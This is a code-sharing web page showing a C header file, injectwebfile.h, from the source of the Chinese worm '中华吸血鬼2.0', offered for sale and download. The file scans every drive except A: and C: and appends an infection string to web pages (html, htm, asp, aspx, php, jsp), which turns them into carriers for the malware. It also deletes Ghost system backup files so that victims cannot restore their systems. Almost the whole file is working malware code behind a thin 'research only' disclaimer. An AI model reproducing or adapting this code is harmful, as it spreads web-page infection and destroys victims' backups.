⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 injectwebfile.h

📁 中华吸血鬼2.0源代码,这是一个低版本的代码,但是也包含了比较强的功能,一切仅供研究使用,若用于非法用途,后果自负!
💻 H
字号:

/* 
			中华吸血鬼源代码  作者:黑网之神购买代码后请勿随便发布,请
			珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
			已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
			,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
			非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
			    
				            作者:黑网之神     2008/5/1  
*/



//injectwebfile.h
//这个功能是模仿的别人的!
//这个不是很完美,还得多修改
#include "head.h"
//------------------------------------------------------------------------------------
char ganranwangye[MAX_PATH]="wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";

//------------------------------------------------------------------------------------
DWORD  BeginWebFileFind(char szPath[]);
int InjectURLToFile(char szWebFilePath[],char szWriteUrl[]);
DWORD WINAPI WebWormProc(LPVOID lpParameter);
char *GetSuffixName(char szFileName[]);

//------------------------------------------------------------------------------------
char *GetSuffixName3(char szFileName[])
{
	int nLen=strlen(szFileName);
	char *szName=szFileName;
	szName=szName+(nLen-3);
	return szName;
}
//------------------------------------------------------------------------------------
char *GetSuffixName(char szFileName[])
{
	int nLen=strlen(szFileName);
	char *szName=szFileName;
	szName=szName+(nLen-4);
	return szName;
}


//------------------------------------------------------------------------------------

DWORD  BeginWebFileFind(char szPath[])
{
	char szFindDriver[MAX_PATH]={0}; 
	lstrcpy(szFindDriver,szPath);
	lstrcat(szFindDriver,"\\*.*"); 
	WIN32_FIND_DATA wfd; 
	HANDLE hFind = FindFirstFile(szFindDriver,&wfd); 
	if (hFind == INVALID_HANDLE_VALUE)  
	return 0;
	while (FindNextFile(hFind, &wfd))
	{
		if (wfd.cFileName[0] == '.') 
			continue;  
		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
		{ 
			char szFindPath[MAX_PATH];
			lstrcpy(szFindPath,szPath); 
			lstrcat(szFindPath,"\\"); 
			lstrcat(szFindPath,wfd.cFileName); 
			BeginWebFileFind(szFindPath);  
		} 
		else 
		{
			Sleep(1);
			char szFilePath[MAX_PATH]; 
			lstrcpy(szFilePath,szPath); 
			lstrcat(szFilePath,"\\"); 
			lstrcat(szFilePath,wfd.cFileName);
			if(
			!lstrcmp(GetSuffixName(szFilePath),"html")||!lstrcmp(GetSuffixName(szFilePath),"HTML")||
			!lstrcmp(GetSuffixName3(szFilePath),"htm")||!lstrcmp(GetSuffixName3(szFilePath),"HTM")||
			!lstrcmp(GetSuffixName3(szFilePath),"asp")||!lstrcmp(GetSuffixName(szFilePath),"aspx")||
			!lstrcmp(GetSuffixName3(szFilePath),"php")||!lstrcmp(GetSuffixName3(szFilePath),"jsp"))
			{ 			
				if(!InjectURLToFile(szFilePath,ganranwangye))
					continue;
				printf("%s\r\n",szFilePath);
				Sleep(10);
				
				//MessageBox(NULL,szFilePath,szFilePath,NULL);
			}
			//下面几行是删除ghost系统备份的代码
			if(!lstrcmp(GetSuffixName3(szFilePath),"gho"))
				DeleteFile(szFilePath);
			if(!lstrcmp(GetSuffixName3(szFilePath),"GHO"))
				DeleteFile(szFilePath);
			if(!lstrcmp(GetSuffixName3(szFilePath),"Gho"))
				DeleteFile(szFilePath);
			Sleep(10);
		} 
	}
	FindClose(hFind);
	return 1;
}

//------------------------------------------------------------------------------------
int InjectURLToFile(char szWebFilePath[],char szWriteUrl[])  //写入代码的函数
{
	char szWriteBuf[MAX_PATH]={0};
	sprintf(szWriteBuf,"\r\n%s",szWriteUrl);
	FILE *pFile=fopen(szWebFilePath,"rb+");
	if(!pFile)
	{
		return 0;
	}
	fseek(pFile,-strlen(szWriteBuf),SEEK_END);
	char szReadBuf[MAX_PATH]={0};
	fread(szReadBuf,sizeof(szReadBuf),1,pFile);
	if(!lstrcmp(szReadBuf,szWriteBuf))
	{
		fclose(pFile);
		return 0;
	}
	fseek(pFile,0,SEEK_END);
	fwrite(szWriteBuf,strlen(szWriteBuf),1,pFile);
    fclose(pFile);
	
	return 1;
}
//------------------------------------------------------------------------------------

DWORD WINAPI WebWormProc(LPVOID lpParameter) //循环遍历
{
char szbuff[256]={0};
char szdrivestring[4]={0};
int len=GetLogicalDriveStrings(sizeof(szbuff),szbuff);
for(int i=0;i<len;i++)
{
	if(szbuff[i]==0)
	{		
	szdrivestring[0]=szbuff[i-3];
	szdrivestring[1]=szbuff[i-2];
    if(!lstrcmp(szdrivestring,"A:"))
	{
	continue;
	}
	if(!lstrcmp(szdrivestring,"C:"))
	{
	continue;
	}
	
	else 
	{
	BeginWebFileFind(szdrivestring);
			} 	
		}
	}
	return 1;
}
//------------------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -